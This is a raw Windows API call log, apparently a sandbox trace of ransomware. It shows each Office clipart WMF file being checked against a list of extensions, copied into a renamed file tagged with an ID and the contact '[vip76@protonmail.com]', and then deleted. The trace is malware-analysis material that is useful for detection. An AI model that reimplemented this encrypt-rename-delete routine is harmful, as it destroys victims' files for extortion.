	[0178.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.727] lstrlenW (lpString=".7z") returned 3
	[0178.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.727] lstrlenW (lpString=".dbf") returned 4
	[0178.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.727] lstrlenW (lpString=".1cd") returned 4
	[0178.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.727] lstrlenW (lpString=".jpg") returned 4
	[0178.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.727] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.727] lstrlenW (lpString="IN00351_.WMF") returned 12
	[0178.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.728] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1928) returned 1
	[0178.728] CloseHandle (hObject=0x5bc) returned 1
	[0178.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220
	[0178.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.729] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.729] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0178.730] GetLastError () returned 0x0
	[0178.730] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x788, lpOverlapped=0x0) returned 1
	[0179.018] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x790, lpOverlapped=0x0) returned 1
	[0179.020] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.020] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.020] SetEndOfFile (hFile=0x5c8) returned 1
	[0179.020] CloseHandle (hObject=0x5c8) returned 1
	[0179.020] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.020] SetEndOfFile (hFile=0x5bc) returned 1
	[0179.120] CloseHandle (hObject=0x5bc) returned 1
	[0179.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.740] lstrlenW (lpString=".doc") returned 4
	[0179.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.740] lstrlenW (lpString=".docx") returned 5
	[0179.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.740] lstrlenW (lpString=".pdf") returned 4
	[0179.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.740] lstrlenW (lpString=".xls") returned 4
	[0179.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.740] lstrlenW (lpString=".xlsx") returned 5
	[0179.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.740] lstrlenW (lpString=".ppt") returned 4
	[0179.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.740] lstrlenW (lpString=".zip") returned 4
	[0179.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.740] lstrlenW (lpString=".rar") returned 4
	[0179.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.740] lstrlenW (lpString=".bz2") returned 4
	[0179.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.740] lstrlenW (lpString=".7z") returned 3
	[0179.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.740] lstrlenW (lpString=".dbf") returned 4
	[0179.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.740] lstrlenW (lpString=".1cd") returned 4
	[0179.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.741] lstrlenW (lpString=".jpg") returned 4
	[0179.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.741] lstrlenW (lpString=".doc") returned 4
	[0179.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.741] lstrlenW (lpString=".docx") returned 5
	[0179.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.741] lstrlenW (lpString=".pdf") returned 4
	[0179.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.741] lstrlenW (lpString=".xls") returned 4
	[0179.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.741] lstrlenW (lpString=".xlsx") returned 5
	[0179.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.741] lstrlenW (lpString=".ppt") returned 4
	[0179.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.741] lstrlenW (lpString=".zip") returned 4
	[0179.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.741] lstrlenW (lpString=".rar") returned 4
	[0179.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.741] lstrlenW (lpString=".bz2") returned 4
	[0179.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.741] lstrlenW (lpString=".7z") returned 3
	[0179.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.741] lstrlenW (lpString=".dbf") returned 4
	[0179.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.741] lstrlenW (lpString=".1cd") returned 4
	[0179.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0179.742] lstrlenW (lpString=".jpg") returned 4
	[0179.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.742] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0179.742] lstrlenW (lpString="IN00919_.WMF") returned 12
	[0179.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.008] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6920) returned 1
	[0180.009] CloseHandle (hObject=0x5bc) returned 1
	[0180.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220
	[0180.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.013] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.013] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.014] GetLastError () returned 0x0
	[0180.014] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1b08, lpOverlapped=0x0) returned 1
	[0180.018] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0180.019] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.019] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.019] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.019] CloseHandle (hObject=0x4ac) returned 1
	[0180.019] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.019] SetEndOfFile (hFile=0x5bc) returned 1
	[0180.022] CloseHandle (hObject=0x5bc) returned 1
	[0180.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1
	[0180.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.023] lstrlenW (lpString=".doc") returned 4
	[0180.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.023] lstrlenW (lpString=".docx") returned 5
	[0180.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0180.023] lstrlenW (lpString=".pdf") returned 4
	[0180.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.023] lstrlenW (lpString=".xls") returned 4
	[0180.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.023] lstrlenW (lpString=".xlsx") returned 5
	[0180.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0180.024] lstrlenW (lpString=".ppt") returned 4
	[0180.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.024] lstrlenW (lpString=".zip") returned 4
	[0180.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.024] lstrlenW (lpString=".rar") returned 4
	[0180.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString=".bz2") returned 4
	[0180.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString=".7z") returned 3
	[0180.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.024] lstrlenW (lpString=".dbf") returned 4
	[0180.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.024] lstrlenW (lpString=".1cd") returned 4
	[0180.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.024] lstrlenW (lpString=".jpg") returned 4
	[0180.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.024] lstrlenW (lpString=".doc") returned 4
	[0180.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString=".docx") returned 5
	[0180.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0180.024] lstrlenW (lpString=".pdf") returned 4
	[0180.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.024] lstrlenW (lpString=".xls") returned 4
	[0180.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.024] lstrlenW (lpString=".xlsx") returned 5
	[0180.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0180.025] lstrlenW (lpString=".ppt") returned 4
	[0180.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.025] lstrlenW (lpString=".zip") returned 4
	[0180.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.025] lstrlenW (lpString=".rar") returned 4
	[0180.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.025] lstrlenW (lpString=".bz2") returned 4
	[0180.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.025] lstrlenW (lpString=".7z") returned 3
	[0180.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.025] lstrlenW (lpString=".dbf") returned 4
	[0180.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.025] lstrlenW (lpString=".1cd") returned 4
	[0180.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0180.025] lstrlenW (lpString=".jpg") returned 4
	[0180.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.026] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.026] lstrlenW (lpString="J0086384.WMF") returned 12
	[0180.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.027] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9734) returned 1
	[0180.027] CloseHandle (hObject=0x5bc) returned 1
	[0180.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220
	[0180.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.028] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.028] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.028] GetLastError () returned 0x0
	[0180.028] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2606, lpOverlapped=0x0) returned 1
	[0180.030] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2610, lpOverlapped=0x0) returned 1
	[0180.031] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.031] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.032] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.032] CloseHandle (hObject=0x4ac) returned 1
	[0180.032] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.032] SetEndOfFile (hFile=0x5bc) returned 1
	[0180.035] CloseHandle (hObject=0x5bc) returned 1
	[0180.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1
	[0180.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.036] lstrlenW (lpString=".doc") returned 4
	[0180.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.036] lstrlenW (lpString=".docx") returned 5
	[0180.036] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.036] lstrlenW (lpString=".pdf") returned 4
	[0180.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.036] lstrlenW (lpString=".xls") returned 4
	[0180.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.036] lstrlenW (lpString=".xlsx") returned 5
	[0180.036] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.036] lstrlenW (lpString=".ppt") returned 4
	[0180.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.036] lstrlenW (lpString=".zip") returned 4
	[0180.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.036] lstrlenW (lpString=".rar") returned 4
	[0180.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.036] lstrlenW (lpString=".bz2") returned 4
	[0180.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString=".7z") returned 3
	[0180.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.037] lstrlenW (lpString=".dbf") returned 4
	[0180.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.037] lstrlenW (lpString=".1cd") returned 4
	[0180.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.037] lstrlenW (lpString=".jpg") returned 4
	[0180.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.037] lstrlenW (lpString=".doc") returned 4
	[0180.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString=".docx") returned 5
	[0180.037] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.037] lstrlenW (lpString=".pdf") returned 4
	[0180.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString=".xls") returned 4
	[0180.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.037] lstrlenW (lpString=".xlsx") returned 5
	[0180.037] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.037] lstrlenW (lpString=".ppt") returned 4
	[0180.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0180.037] lstrlenW (lpString=".zip") returned 4
	[0180.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.037] lstrlenW (lpString=".rar") returned 4
	[0180.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.037] lstrlenW (lpString=".bz2") returned 4
